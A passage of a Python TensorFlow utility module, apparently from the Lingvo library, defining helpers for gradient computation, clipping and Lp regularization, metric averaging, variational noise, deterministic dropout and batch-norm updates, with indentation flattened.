tf.reduce_sum(tf.math.abs(g)) > 1e-24, g.dtype)
else:
raise ValueError('Unknown skip_zero_gradients: %s' %
skip_zero_gradients)
num_updates = tf.maximum(tf.tpu.cross_replica_sum(g_is_non_zero), 1.0)
normalized_g = tf.tpu.cross_replica_sum(g) / num_updates
aggregated_grads.append(normalized_g)
return aggregated_grads + tpu_embedding_grads
class _VarGrad(typing.NamedTuple):
var: tf.Tensor
grad: Union[tf.Tensor, tf.IndexedSlices]
scale: Optional[tf.Tensor] = None
class VarGrad:
"""A class that holds a variable and a gradient.
This does not inherit from namedtuple so that tf.nest operations do not
recurse into it.
"""
def __init__(self, *args, **kwargs):
self._var_grad = _VarGrad(*args, **kwargs)
def __getitem__(self, key):
return self._var_grad[key]
def __getattr__(self, key):
return getattr(self._var_grad, key)
def __iter__(self):
if self._var_grad.scale is None:
return iter((self._var_grad.var, self._var_grad.grad))
return iter(self._var_grad)
def __repr__(self):
return repr(self._var_grad)
def SkipNoneGradients(var_grads):
"""Removes pairs whose grad is None."""
for key, (_, g) in var_grads.FlattenItems():
if g is None:
tf.logging.info('ComputeGradients drops %s', key)
return var_grads.Filter(lambda var_grad: var_grad.grad is not None)
def ComputeGradients(
loss_or_activations,
vmap,
grad_aggregation_method=tf.AggregationMethod.EXPERIMENTAL_TREE,
colocate_gradients_with_ops=True,
gate_gradients=False,
compute_gradients_fn=None,
skip_zero_gradients=None,
use_bf16_gradients_ar=False,
skip_none_gradients=True,
defer_crs_to_apply_grad=False,
activations_grad=None,
is_activations=False,
tpu_embedding_activations=None):
"""Computes gradients of variables in vmap w.r.t loss.
Args:
loss_or_activations: either the loss, which is a scalar tensor, or
activations, which could be a tensor or a list of tensors.
vmap: A `.NestedMap` of variables.
grad_aggregation_method: Specifies the method used to combine gradient
terms. Accepted values are constants defined in the class
AggregationMethod.
colocate_gradients_with_ops: If True, try colocating gradients with the
corresponding op.
gate_gradients: If True, add a tuple around the gradients returned for an
operations. This avoids some race conditions.
compute_gradients_fn: Function to use to compute gradients. If None, use
default. compute_gradients_fn should have the same signature as this
function, but without the last argument.
skip_zero_gradients: Whether to skip aggregating zero gradients. This helps
in case where some weights may not be used in forward computation, e.g.,
sparsely activated networks or switchable layers in neural architectural
search. Only applicable on TPU.
Possible values are:
- None: do not skip zero gradients;
- `variable`: skip if the entire variable's gradients are almost zero;
reduce_sum(abs(grads)) < 1e-8.
- `weight`: skip if the individual weight's gradients are almost zero:
abs(grad) < 1e-8.
use_bf16_gradients_ar: Whether to use bfloat16 dtype for gradients
all-reduce. This applies to TPU only.
skip_none_gradients: Whether to skip gradients that are None.
defer_crs_to_apply_grad: Whether to defer gradient cross replica sum to
apply_gradient. This applies to TPU only.
activations_grad: The gradients computed for activations.
is_activations: A boolean, whether the input is loss or activations.
tpu_embedding_activations: A `.NestedMap` of tpu embedding feature name ->
embedding feature tensor.
Returns:
var_grad - a `.NestedMap` of VarGrad. You can view
var_grad as an ordered list of (key, (var, grad)) tuples. Every
key of var_grad exists in vmap. Every variable in vmap that
contributes to loss must exist in var_grad. Every var of var_grad
must exist in vmap. grad is the corresponding gradient computed
for var. grad is guaranteed to be not None.
If tpu_embedding_activations is set, a sub `.NestedMap` named
tpu_embedding_var_grads will be used to store the VarGrads for the
activations. In this case, key is the feature name, and var in the VarGrad
is the activation tensor (not a real variable).
"""
if not is_activations:
loss_or_activations = HasRank(loss_or_activations, 0)
if not tpu_embedding_activations:
tpu_embedding_activations = NestedMap()
assert isinstance(tpu_embedding_activations, NestedMap)
assert isinstance(vmap, NestedMap)
assert skip_zero_gradients in (None, 'variable', 'weight')
# Uniqify and remove None.
filtered_vmap = vmap.Filter(_Unique())
assert filtered_vmap is not None
# Filter out variables not contributing to 'loss_or_activations'.
# This doesn't work if the training loop is wrapped inside a tf.function,
# since all variables will be lifted out and trainable_variables will be
# empty. In that case we skip the check.
trainable_variables = set(tf.trainable_variables())
if trainable_variables:
def Needed(v):
if isinstance(v, tf.Variable):
if v not in trainable_variables:
# Skip non-trainable variables. Otherwise,
# tf.Optimizer.apply_gradients throws up an exception instead
# of skipping the update.
return False
return True
filtered_vmap = filtered_vmap.Filter(Needed)
assert filtered_vmap is not None
filtered_vlist = filtered_vmap.Flatten()
# Use caller-supplied gradient function if supplied.
if compute_gradients_fn is not None:
assert not tpu_embedding_activations
take_grad = compute_gradients_fn
else:
# tpu vs non-tpu is slightly different.
if use_tpu():
take_grad = functools.partial(
_ComputeGradientsTpu,
skip_zero_gradients=skip_zero_gradients,
use_bf16_gradients_ar=use_bf16_gradients_ar,
defer_crs_to_apply_grad=defer_crs_to_apply_grad,
activations_grad=activations_grad,
is_activations=is_activations,
tpu_embedding_activations=tpu_embedding_activations.Flatten())
else:
assert not tpu_embedding_activations
take_grad = ComputeGradientsSimple
grads = take_grad(loss_or_activations, filtered_vlist,
grad_aggregation_method, colocate_gradients_with_ops,
gate_gradients)
if tpu_embedding_activations:
tpu_embedding_grads = grads[len(filtered_vlist):]
grads = grads[:len(filtered_vlist)]
else:
tpu_embedding_grads = None
# Formulate pairs of (var, grad) and pack them into the same
# structure as filtered_vmap.
var_grads = filtered_vmap.Pack(
[VarGrad(v, g) for v, g in zip(filtered_vlist, grads)])
if skip_none_gradients:
var_grads = SkipNoneGradients(var_grads)
if tpu_embedding_grads:
# Create VarGrads for TPU embedding activations in a dedicated sub map.
assert 'tpu_embedding_var_grads' not in var_grads
tpu_embedding_activation_list = tpu_embedding_activations.Flatten()
tpu_embedding_var_grads = [
VarGrad(v, g)
for v, g in zip(tpu_embedding_activation_list, tpu_embedding_grads)
]
tpu_embedding_var_grads = tpu_embedding_activations.Pack(
tpu_embedding_var_grads)
# Replace None gradients with zeros, since TPU embedding expect all
# activations to have gradients.
def _NoneToZeros(key, var_grad):
if var_grad.grad is None:
tf.logging.warning(
f'TPU embedding gradient for feature {key} is None. Replacing with '
'zeros.')
return VarGrad(var_grad.var, tf.zeros_like(var_grad.var))
return var_grad
var_grads.tpu_embedding_var_grads = (
tpu_embedding_var_grads.TransformWithKey(_NoneToZeros))
return var_grads
def MaskGradients(var_grad, grad_mask):
"""Computes gradients of non-masked variables in vmap w.r.t loss.
Args:
var_grad: A `.NestedMap` of (variable, gradient)
grad_mask: A dict of (variable name, mask).
Returns:
var_grad - a `.NestedMap` of (variable, mask * gradient).
"""
def ApplyMask(entry):
var, grad = entry
mask = grad_mask[var.name]
if isinstance(grad, tf.IndexedSlices):
return VarGrad(var, tf.IndexedSlices(grad.values * mask, grad.indices))
else:
return VarGrad(var, grad * mask)
return var_grad.Transform(ApplyMask)
def ApplyGradMultiplier(vs_gs, grad_scale=None):
"""Scale gradients by grad_scale on same device as corresponding variables.
Args:
vs_gs: A `.NestedMap` of VarGrad.
grad_scale: If None, each vs_gs entry has the scale. Otherwise, grad_scale
applies to every entry.
Returns:
A `.NestedMap` of (variable, gradient * grad_scale). In particular, if
grad_scale is 0, the result gradient is always 0, even if the input
gradient is inf or nan.
"""
def ScaleOrZero(var: tf.Tensor, grad: tf.Tensor,
scale: tf.Tensor) -> tf.Tensor:
grad = CheckNumerics(grad, 'Gradient for %s is not finite.' % var.name)
return tf.where(
tf.equal(scale, 0.), tf.zeros_like(grad),
tf.cast(scale, grad.dtype) * grad)
def Scale(item: VarGrad) -> VarGrad:
"""Scales the gradient."""
var, grad = item
assert grad is not None, ('No grad found for ', var.name)
if grad_scale is None:
scale = item.scale
else:
scale = grad_scale
with tf.device(var.device):
if isinstance(grad, tf.IndexedSlices):
grad = tf.IndexedSlices(
ScaleOrZero(var, grad.values, scale), grad.indices,
grad.dense_shape)
else:
grad = ScaleOrZero(var, grad, scale)
return VarGrad(var, grad)
return vs_gs.Transform(Scale)
def HasNanOrInf(x):
if isinstance(x, tf.IndexedSlices):
x = x.values
with tf.device(x.device):
if x.dtype.is_complex:
return tf.reduce_any(
[HasNanOrInf(tf.math.real(x)),
HasNanOrInf(tf.math.imag(x))])
return tf.reduce_any(
tf.math.logical_or(tf.math.is_nan(x), tf.math.is_inf(x)))
def HasNanOrInfGradient(var_grads):
"""Returns a bool tensor to indicate if `var_grads` contains NaNs or Infs.
Args:
var_grads: A `.NestedMap` with (var, grad) tuple as the map value.
Returns:
A bool scalar tensor to indicate if the `var_grads` contains NaNs or Infs.
"""
return tf.reduce_any([HasNanOrInf(g) for (_, g) in var_grads.Flatten()])
def ApplyGradNormClipping(vs_gs, norm=1.0):
"""Clip gradients to norm on same device as corresponding variables.
Args:
vs_gs: A `.NestedMap` of VarGrad.
norm: Each tensor's gradient will be scaled down to have a maximum L2-norm
value of `norm`.
Returns:
A `.NestedMap` of VarGrad(variable, scaled_gradient). In particular, if
grad_scale is 0, the result gradient is always 0, even if the input
gradient is inf or nan.
"""
def ClipByNorm(var, grad, norm):
grad = CheckNumerics(grad, 'Gradient for %s is not finite.' % var.name)
return tf.clip_by_norm(grad, norm)
def Clip(item):
"""Scales the gradient."""
var, grad = item
assert grad is not None, ('No grad found for ', var.name)
with tf.device(var.device):
if isinstance(grad, tf.IndexedSlices):
grad = tf.IndexedSlices(
ClipByNorm(var, grad.values, norm), grad.indices, grad.dense_shape)
else:
grad = ClipByNorm(var, grad, norm)
return VarGrad(var, grad)
return vs_gs.Transform(Clip)
SKIP_LP_REGULARIZATION = '__lingvo_skip_lp_regularization'
def AdjustGradientsWithLpLoss(var_grads, lp_regularizer_weight, p=2.0):
"""Adjusts the map of (var, grad) with Lp regularization, where p=1.0 or 2.0.
Args:
var_grads: a `.NestedMap` or list of (variable, gradient).
lp_regularizer_weight: Lp regularization weight.
p: For now we support 1.0 or 2.0.
Returns:
A tuple (lp_loss, var_grads).
- lp_loss: A scalar. The lp loss.
- var_grads: a `.NestedMap` or list of (variable, gradient) regulated by Lp.
"""
# TODO(yuancao): For now we support p=1 or 2, but this can be extended to
# lp-norm in general.
assert p in [2.0, 1.0], 'For now we only support L1/L2 regularization.'
def GetVar(item):
var, grad = item
if isinstance(grad, tf.IndexedSlices):
with tf.device(var.device):
ids = HasRank(grad.indices, 1)
uniq_ids = tf.unique(ids).y
return tf.gather(var, uniq_ids)
else:
return var
def ShouldAdjust(v):
return not _VarInCollection(v, tf.get_collection(SKIP_LP_REGULARIZATION))
filtered_var_grads = [
var_grad for var_grad in Flatten(var_grads) if ShouldAdjust(var_grad.var)
]
filtered_vars = Transform(GetVar, filtered_var_grads)
for v in filtered_vars:
tf.logging.info('AdjustGradientsWithLpLoss: %s', v.name)
if p == 2.0:
lp_loss = 0.5 * lp_regularizer_weight * SumSquared(filtered_vars)
elif p == 1.0:
lp_loss = lp_regularizer_weight * SumAbs(filtered_vars)
def LpGrad(var_grad):
"""Adjusts item's grad w/ Lp loss term."""
var, grad = var_grad
if isinstance(grad, tf.IndexedSlices):
# Question(rpang): do we apply Lp loss here even if 'var' is in
# SKIP_LP_REGULARIZATION?
#
# Note: IndexedSlces appears for embedding lookups.
# Embedding lookup ids can have duplicate. For duplicated ids, we
# only want to consider once for each ids.
with tf.device(var.device):
emb = HasRank(var, 2)
vocab_size = tf.shape(emb)[0]
ids = HasRank(grad.indices, 1)
values = tf.gather(emb, ids) # [#ids, dims]
with tf.device(grad.device):
# Counts is a vector of size vocab_size. counts[i] is i-th words
# occurrences in 'ids'.
counts = tf.math.unsorted_segment_sum(
tf.ones_like(ids, dtype=values.dtype), ids, vocab_size)
# Gradients for duplicated ids will be summed when they get
# applied, and hence we account for that by first dividing
# gradient resulting from lp loss by how many times the id is
# duplicated.
#
# For each id in 'ids', we know counts[id] is non-zero,
# hence, it's always safe to take reciprocal.
weights = tf.math.reciprocal(tf.gather(counts, ids))
weights = tf.expand_dims(weights, -1) # [#ids, 1]
if p == 2.0:
grad_v = values
elif p == 1.0:
grad_v = tf.sign(values)
delta = lp_regularizer_weight * weights * grad_v
grad = tf.IndexedSlices(grad.values + delta, ids)
elif not _VarInCollection(var, tf.get_collection(SKIP_LP_REGULARIZATION)):
with tf.device(var.device):
if p == 2.0:
grad_v = var
elif p == 1.0:
grad_v = tf.sign(var)
delta = lp_regularizer_weight * grad_v
with tf.device(grad.device):
grad += delta
return VarGrad(var, grad)
return lp_loss, Transform(LpGrad, var_grads)
def SplitRecursively(x, num_splits, axis=-1):
"""Splits Tensors in 'x' recursively.
Args:
x: a Tensor, or a list or NestMap containing Tensors to split.
num_splits: number of splits per Tensor.
axis: the split axis.
Returns:
A list of split values of length 'num_splits'.
- If 'x' is a Tensor, a list of split Tensors.
- If 'x' is a list, a list of lists, where each sublist has the same length
as 'x' and the k'th element in each sublist corresponds to a split of the
k'th element from 'x'.
- If 'x' is a `.NestedMap`, a list of `.NestedMap`, where each field
corresponds to a split from the same field of 'x'.
"""
if isinstance(x, tf.Tensor):
return tf.split(x, num_splits, axis=axis)
elif isinstance(x, list):
splits = [SplitRecursively(element, num_splits, axis) for element in x]
splits = list(zip(*splits))
return [list(t) for t in splits]
elif isinstance(x, NestedMap):
results = [NestedMap() for _ in range(num_splits)]
for key, val in x.items():
val_splits = SplitRecursively(val, num_splits, axis)
for i in range(num_splits):
results[i][key] = val_splits[i]
return results
else:
raise TypeError('Unexpected type for SplitRecursively: %s' % type(x))
def ConcatRecursively(splits, axis=-1):
"""Concatenates tensors from 'splits'.
This is the inverse function of SplitRecursively.
Args:
splits: a list of splits to concatenate, where elements can be Tensors,
lists, or `.NestedMap`. The elements must share the same type and
structure. For example, list elements must have the same length;
`.NestedMap` must have the same set of fields.
axis: the concatenation axis.
Returns:
Concatenated data.
- If input 'splits' are Tensors, returns a concatenated Tensor.
- If input 'splits' are lists, returns a list of the same length where the
k'th element represents concatenated data of the k'th element from each
split.
- If input 'splits' are `.NestedMap`, returns a `.NestedMap` with each field
concatenated from corresponding fields of input splits.
Raises:
TypeError: if 'splits' is not a list or elements of 'splits' do not have
known or matching types.
ValueError: if 'splits' is empty or elements of 'splits' do not have
matching structures.
"""
if not isinstance(splits, list):
raise TypeError('Non-list inputs for ConcatRecursively: %s' % splits)
if not splits:
raise ValueError('Empty inputs for ConcatRecursively: %s' % splits)
tmpl = splits[0]
if isinstance(tmpl, tf.Tensor):
return tf.concat(splits, axis=axis)
elif isinstance(tmpl, list):
if not all(isinstance(split, list) for split in splits):
raise TypeError('Type mismatch for ConcatRecursively: %s' % splits)
if not all(len(split) == len(tmpl) for split in splits):
raise ValueError('Length mismatch for ConcatRecursively: %s' % splits)
return [
ConcatRecursively([split[i]
for split in splits], axis)
for i in range(len(tmpl))
]
elif isinstance(tmpl, NestedMap):
if not all(isinstance(split, NestedMap) for split in splits):
raise TypeError('Type mismatch for ConcatRecursively: %s' % splits)
results = NestedMap()
for key in tmpl:
results[key] = ConcatRecursively([split[key] for split in splits], axis)
return results
else:
raise TypeError('Unexpected type for ConcatRecursively: %s' % type(splits))
def WeightedAvg(values, weights, sum_reduction_fn=tf.reduce_sum, name=''):
"""Computes weighted average of values from a tensor.
Args:
values: a tensor of values
weights: a tensor of weights
sum_reduction_fn: called to reduce the values and weights to single value
name: name of metric.
Returns:
A tuple (avg, total_weight).
- avg: weighted average value
- total_weight: sum of all weights
"""
msg = 'shape of values and weights tensors must match for metric ' + name
values = with_dependencies(
[assert_equal(tf.shape(values), tf.shape(weights), message=msg)], values)
total_weight = sum_reduction_fn(weights)
# divide_no_nan only supports tf.{float,complex}*.
dtype = values.dtype if values.dtype is tf.float64 else tf.float32
avg = tf.math.divide_no_nan(
sum_reduction_fn(tf.cast(values, dtype) * tf.cast(weights, dtype)),
tf.cast(total_weight, dtype))
return tf.cast(avg, values.dtype), total_weight
def WeightedAvgOfMetrics(metrics):
"""Computes the weighted average of metrics in the list.
Args:
metrics: list of dictionaries of metrics
Returns:
ret_dict - dictionary of weighted averages of each metrics.
"""
ret_dict = {}
lists_of_metrics = {}
for m in metrics:
for name, (value, weight) in m.items():
if name not in lists_of_metrics:
lists_of_metrics[name] = []
lists_of_metrics[name].append((value, weight))
for name, values_and_weights in sorted(lists_of_metrics.items()):
values = tf.stack([x[0] for x in values_and_weights])
weights = tf.stack([x[1] for x in values_and_weights])
ret_dict[name] = WeightedAvg(values, weights, tf.reduce_sum, name)
return ret_dict
def ConcatPerExampleTensors(per_example):
"""Concatenate per-example tensors from many hosts into one large block.
Args:
per_example: list of dictionaries of per-example tensors.
Returns:
ret_dict - string -> concatenated tensors.
"""
ret_dict = {}
lists_of_per_example = {}
for m in per_example:
for name, value in m.items():
if name not in lists_of_per_example:
lists_of_per_example[name] = []
lists_of_per_example[name].append(value)
for name, values in sorted(lists_of_per_example.items()):
ret_dict[name] = tf.concat(values, 0)
return ret_dict
def CombineMetrics(loss_metric_weight_pairs):
"""Combines metrics from `loss_metric_weight_pairs` according to weights.
Keys must either exist in all metrics, in which it will be processed as a
weighted sum, or exist in only one metrics, in which case it will be copied.
Args:
loss_metric_weight_pairs: a list of (metrics, weight) pairs, where each
weight is a float and each metrics is a dict with str keys and
(metric_value, target_weight) values.
Returns:
A dict with the same set of keys as input metrics and values of
(weighted_sum(metric_value), weighted_sum(target_weight)).
Raises:
ValueError: if there exists a metric that exists in more than one element
of `loss_metric_weight_pairs` but not in all of them.
"""
all_keys = set(
[k for loss_metrics, _ in loss_metric_weight_pairs for k in loss_metrics]) # pylint: disable=g-complex-comprehension
result = {}
for k in all_keys:
count = 0
for loss_metrics, weight in loss_metric_weight_pairs:
if k in loss_metrics:
count += 1
if count > 1 and count != len(loss_metric_weight_pairs):
raise ValueError('Found metric %s which exists in more than one'
'but not all loss metrics.' % k)
total_val = 0
total_target_weight = 0
for loss_metrics, weight in loss_metric_weight_pairs:
if k in loss_metrics:
val, target_weight = loss_metrics[k]
if count == 1:
# Single metric, don't multiply by weight.
total_val = val * target_weight
total_target_weight = target_weight
else:
# Total weighted sum of all predictions.
total_val += weight * val * target_weight
total_target_weight += weight * target_weight
result[k] = (total_val / total_target_weight, total_target_weight)
return result
def AddVN(p, x, per_step=False):
"""Add variational noise to x.
Args:
p: Layer params, with a `vn` subparam containing `VariationalNoiseParams`.
x: Input to add variational noise to.
per_step: Whether to add per_step noise.
Returns:
The input with variational noise added according to params.
"""
tensor_name = x.name if not tf.executing_eagerly() else '[eager]'
if per_step:
if not p.vn.per_step_vn:
tf.logging.info(
'p.vn.per_step_vn is not set. Not adding per-step vn to ' +
tensor_name)
return x
else:
if not p.vn.global_vn:
tf.logging.info('p.vn.global_vn is not set. Not adding global vn to ' +
tensor_name)
return x
tf.logging.info(
f"Add {'per-step' if per_step else 'global'} vn to {tensor_name}: {p.vn}")
if p.vn.scale is None:
raise ValueError('VN scale must be set.')
if p.vn.deterministic:
noises = DeterministicVN(p, tf.shape(x), mean=0.0, std=1.0)
noises = tf.cast(noises, x.dtype)
else:
if per_step:
# recurrent.py does not support stateful random ops in cell_fn due to
# rematerialization.
raise ValueError('per_step vn requires deterministic=True.')
noises = tf.random.normal(
tf.shape(x), stddev=1.0, seed=p.vn.seed, dtype=x.dtype)
scale = tf.where(GetGlobalStep() >= p.vn.start_step, p.vn.scale, 0.0)
return x + tf.cast(scale, x.dtype) * noises
def VariationalNoiseParams(scale,
global_vn=False,
per_step_vn=False,
seed=None,
deterministic=None,
start_step=0):
"""Returns a hyperparams for variational noise."""
if deterministic is None:
deterministic = cluster_factory.Current().in_unit_test
p = hyperparams.Params()
p.Define(
'scale', scale,
'Std of the variational noise to apply . This can be a scalar,'
' or a scalar tensor.')
p.Define('global_vn', global_vn,
'Adds global variational noise every training setp iff True.')
p.Define('per_step_vn', per_step_vn,
'Adds per-timesetp variational noise iff True.')
p.Define('seed', seed, 'Random seed used to generate noise.')
p.Define(
'deterministic', deterministic, 'If true, generate noise using'
'stateless random ops that are compatible with TF functional ops.')
p.Define(
'start_step', start_step,
'Step starting from which variational noise is added during training.')
return p
def DefaultVN():
return VariationalNoiseParams(scale=None)
# To disable VN of a layer, we use 1.0 in the first input parameter
# of the following function because otherwise it is the same to DefaultVN()
# which will be updated by parent configuration in CopyBaseParams()
def DisableVN():
return VariationalNoiseParams(1.0, False, False)
# Step seed keyed by graph.
_STEP_SEED_DICT = ThreadLocalDict()
# The step seed will increment by np.prod(_STEP_SEED_INCREMENT.stack)
_STEP_SEED_INCREMENT = ThreadLocalStack()
@contextlib.contextmanager
def StepSeedIncrementContext(step):
"""Adds an element to _STEP_SEED_INCREMENT."""
assert step > 0, ('%s' % step)
_STEP_SEED_INCREMENT.stack.append(step)
try:
yield
finally:
_STEP_SEED_INCREMENT.stack.pop()
def GetStepSeed():
"""Gets step_seed."""
key = id(tf.get_default_graph())
if key not in _STEP_SEED_DICT.dict:
ResetStepSeed()
return _STEP_SEED_DICT.dict[key]
def ResetStepSeed(seed=0):
"""Resets step_seed to specified value."""
key = id(tf.get_default_graph())
_STEP_SEED_DICT.dict[key] = tf.convert_to_tensor(seed, dtype=tf.int64)
def MaybeResetStepSeedFromScope():
"""In graph mode, resets step_seed according to the current named scope.
This is used in graph mode to avoid "tensor is from a different graph"
errors that happen when we share random seend tensors too much.
See b/129159299 for more context.
Eager mode does not have this problem, so in eager mode we do nothing.
"""
if not tf.executing_eagerly():
ResetStepSeed(GenerateSeedFromName(tf.no_op(name='new_step_seed').name))
def MaybeResetStepSeed(seed):
"""If we're in graph mode, reset the step seed."""
if not tf.executing_eagerly():
ResetStepSeed(seed)
def GetIncStepSeed():
"""Returns and increments the step_seed."""
step_seed = GetStepSeed()
# TODO(lepikhin): introduce a routine filling a queue of uint32 random seeds
# independent of underlying PRNG used by tensorflow.
inc = np.prod(_STEP_SEED_INCREMENT.stack)
ResetStepSeed(step_seed + inc)
return step_seed
def GenerateStepSeedPair(p, op_seed=None):
"""Generates a seed pair for deterministic random operations in ...
functional loops.
This function retrieves a unique seed pair on each call, based off the current
global step and step seed. The step seed ensures this function returns a
unique seed pair on each call: calling this function automatically increments
the step seed. The step seed is automatically reset at the beginning of each
global step in the model's FProp and works transparently through recurrent.py.
Args:
p: A hyperparams.Params object, containing keys 'random_seed' and
'is_inference'.
op_seed: An additional operation-level seed to apply.
Returns:
A size 2 tensor of op seeds to use for stateless_random ops.
"""
seed_dtype = tf.int32 if use_tpu() else tf.int64
if p.is_inference and p.random_seed is None:
# Ensure GetIncStepSeed is called even inside the shortcut.
# This ensures if p.random_seed is set for other ops that use this function
# that they will get the same seed pair whether or not p.random_seed is set
# for this specific call.
GetIncStepSeed()
# Unlike tf.random*, stateless random ops are completely determined by the
# passed-in seeds. This means at inference time the same inputs will produce
# the same outputs, even if the model is supposed to have randomness such as
# dropout during inference. We inject additional randomness only during
# inference if the graph is exported with random_seed=None as a workaround.
return tf.random.uniform([2], maxval=seed_dtype.max, dtype=seed_dtype)
global_step = tf.cast(GetGlobalStep(), seed_dtype)
step_seed = tf.cast(GetIncStepSeed(), seed_dtype)
seeds = tf.stack([global_step, step_seed])
if p.random_seed is not None:
seeds += p.random_seed
if op_seed is not None:
op_seed = tf.cast(op_seed, seed_dtype)
seeds += op_seed
return seeds
def DeterministicDropout(x, keep_prob, seeds, noise_shape=None, name=None):
"""Similar to `tf.nn.dropout()`, but fully deterministic.
Args:
x: A float Tensor on which to apply dropout.
keep_prob: A scalar `Tensor` of keep probability.
seeds: A Tensor of shape [2]. 2 seeds for deterministic random number
generator.
noise_shape: A 1-D `Tensor` of type `int32`, representing the shape for
randomly generated keep/drop flags.
name: An optional name for this operation.
Returns:
A Tensor with the same shape as `x`.
Raises:
InvalidArgumentError: if keep_prob is invalid.
"""
if isinstance(keep_prob, numbers.Real):
if keep_prob <= 0 or keep_prob > 1:
raise tf.errors.InvalidArgumentError(
'keep_prob must be in range (0, 1]. Value: {}'.format(keep_prob))
if keep_prob == 1:
return x
with tf.name_scope(name, 'dropout', [x]) as name:
if use_tpu():
seeds = tf.cast(seeds, tf.int32)
keep_prob = tf.convert_to_tensor(
keep_prob, dtype=tf.float32, name='keep_prob')
# uniform in [keep_prob, 1.0 + keep_prob)
# StatelessRandomUniform op does not support non-float (e.g. bfloat16) dtype
# and non-int32 seed types.
noise_shape = noise_shape or GetShape(x)
random_tensor = keep_prob + tf.random.stateless_uniform(
noise_shape, seed=seeds, dtype=tf.float32)
# 0. if [keep_prob, 1.0) and 1. if [1.0, 1.0 + keep_prob)
binary_tensor = tf.floor(random_tensor)
if x.dtype != tf.float32:
binary_tensor = tf.cast(binary_tensor, x.dtype)
keep_prob = tf.cast(keep_prob, dtype=x.dtype)
result = tf.div(x, keep_prob) * binary_tensor
result.set_shape(x.get_shape())
return result
def DeterministicVN(params, noise_shape, mean=0.0, std=1.0, name=None):
"""Produces Fully deterministic Gaussian noise from shape, mean and std.
Args:
params: Nested map of params.
noise_shape: A 1-D `Tensor` of type `int32`, representing the shape for
randomly generated Gaussian noise.
mean: Mean for the Gaussian noise.
std: Standard deviation for noise.
name: An optional name for this operation.
Returns:
A Tensor with the shape noise_shape and type fprop_dtype.
"""
with tf.name_scope(name, 'gaussian_noise') as name:
seeds = GenerateStepSeedPair(params, params.vn.seed)
random_tensor = mean + (
std * tf.random.stateless_normal(noise_shape, seed=seeds))
if FPropDtype(params) != tf.float32:
random_tensor = tf.cast(random_tensor, FPropDtype(params))
return random_tensor
BATCH_NORM_UPDATES = 'batch_norm_updates'
_BATCH_NORM_UPDATES_DICT = '__batch_norm_update_dict'
_get_batch_norm_updates_dict = _CollectionGetter(_BATCH_NORM_UPDATES_DICT,
lambda: {})
def UpdateBatchNormVars(batch_norm_var, batch_norm_stats, decay):
"""Update batch normalization moving averages."""
with tf.name_scope(
'AssignMovingAvg', values=[
batch_norm_var,
batch_norm_stats,
decay,
]) as scope:
with tf.ops.colocate_with(batch_norm_var):
decay = tf.convert_to_tensor(
1.0 - decay, dtype=batch_norm_var.dtype.base_dtype)
update_delta = (batch_norm_var - tf.cast(
batch_norm_stats, batch_norm_var.dtype.base_dtype)) * decay
has_nan_or_inf = tf.reduce_any(
tf.math.logical_or(
tf.math.is_nan(update_delta), tf.math.is_inf(update_delta)))
update_delta = tf.where(has_nan_or_inf, tf.zeros_like(update_delta),
update_delta)
bn_update = tf.assign_sub(batch_norm_var, update_delta, name=scope)
tf.add_to_collection(BATCH_NORM_UPDATES, bn_update)
if not tf.executing_eagerly_outside_functions():
bn_update_dict = _get_batch_norm_updates_dict()
if bn_update.name in bn_update_dict:
raise ValueError(f'BN update {bn_update.name} already exists.')
bn_update_dict[bn_update.name] = (batch_norm_var, batch_norm_stats)
return bn_update
def FindRelevantBatchNormUpdates(loss, batch_norm_updates):
"""Finds and returns a list of relevant batch-normalization updates.
Args:
loss: The loss that is being optimized for. A tensor or a list of tensors.
batch_norm_updates: A list of batch normalization updates.
Returns:
A pair of lists. The first list contains all the batch normalization updates
that are relevant to the loss being optimized, and the second list contains
all in batch_norm_updates but not in the first list.
"""
if tf.executing_eagerly_outside_functions():
return [], []
dependent_ops_and_tensors = set(FindNeeded(loss))
relevant_updates = []
irrelevant_updates = []
bn_update_dict = _get_batch_norm_updates_dict()
for bn_update in batch_norm_updates:
assert bn_update.name in bn_update_dict, (
f'{bn_update.name} is probably not a valid batch normalization update '
'op. Make sure batch normalization is done through calling'
' the py_utils.UpdateBatchNormVars helper routine.')
bn_stat_name = bn_update_dict[bn_update.name][1].name
if bn_stat_name in dependent_ops_and_tensors:
# If a batch normalization stat is computed in the forward pass in
# computing loss, then the corresponding batch normalization update is
# relevant. Otherwise, it is not.
relevant_updates.append(bn_update)
else:
irrelevant_updates.append(bn_update)
return relevant_updates, irrelevant_updates
_SAMPLE_STEP_STACK = ThreadLocalStack()
@contextlib.contextmanager
def SampleStep(step):
"""A context for a sample step during decoding.
Example usage::
with py_utils.SampleStep(step):
sample = self.DecodeOneStep()
Args:
step: the step tensor.
Yields:
a context manager for the step scope.
"""
try:
_SAMPLE_STEP_STACK.stack.append(step)
yield step
finally:
_SAMPLE_STEP_STACK.stack.pop()
def _GetSampleStep():
return _SAMPLE_STEP_STACK.stack[-1] if _SAMPLE_STEP_STACK.stack else None
def AddDebugTensor(tensor, summarize=None, name=None):
"""Adds `tensor` to the debug collection.
Prints the tensor if `--print_debug_tensors` is True.
Args:
tensor: A tensor.
summarize: Only print this many entries of each tensor. If None, then a
maximum of 3 elements are printed per input tensor.
name: An optional name for the tensor.
Returns:
A Tensor that evaluates to the same value as the input tensor.
"""
if _FromGlobal('print_debug_tensors'):
step = _GetSampleStep()
tensors_to_print = ([] if step is None else [step]) + [tensor]
with tf.name_scope(name) as s:
tensor = tf.Print(
tensor,
tensors_to_print,
message='DEBUG tensor %s' % s,
name=name,
summarize=summarize)
return tensor
def ArgMax(inputs):
"""tf.argmax wrapper.
Args:
inputs: A tensor, whose last dimension is being reduced on.
Returns:
A tensor of rank tf.rank(logits)-1. If i == ret[indices],
logits[indices, i] is the maximum among logits[indices, :].
"""
if use_tpu():
return tf.argmax(inputs, axis=-1, output_type=tf.int32)
else:
return tf.argmax(inputs, axis=-1)
def _EnsureMatrixShape(x):
if x.shape.ndims is None:
x.set_shape([None, None])
else:
assert x.shape.ndims == 2
return x
def Matmul(x, y, *args, **kwargs):
"""tf.matmul wrapper expecting x and y are actually matrices."""
x = _EnsureMatrixShape(x)
y = _EnsureMatrixShape(y)
return tf.matmul(x, y, *args, **kwargs)
def clip_by_value(t, clip_value_min, clip_value_max, name=None): # pylint: disable=invalid-name
if t.dtype.is_complex:
return tf.complex(
tf.clip_by_value(
tf.math.real(t), clip_value_min, clip_value_max, '%s_real' % name),
tf.clip_by_value(
tf.math.imag(t), clip_value_min, clip_value_max, '%s_imag' % name))
return tf.clip_by_value(t, clip_value_min, clip_value_max, name)
def _TransformAndSum(tensor_list, transform):
with tf.name_scope('TransformAndSum'):
sum_transform = []
for t in tensor_list:
with tf.device(t.device):
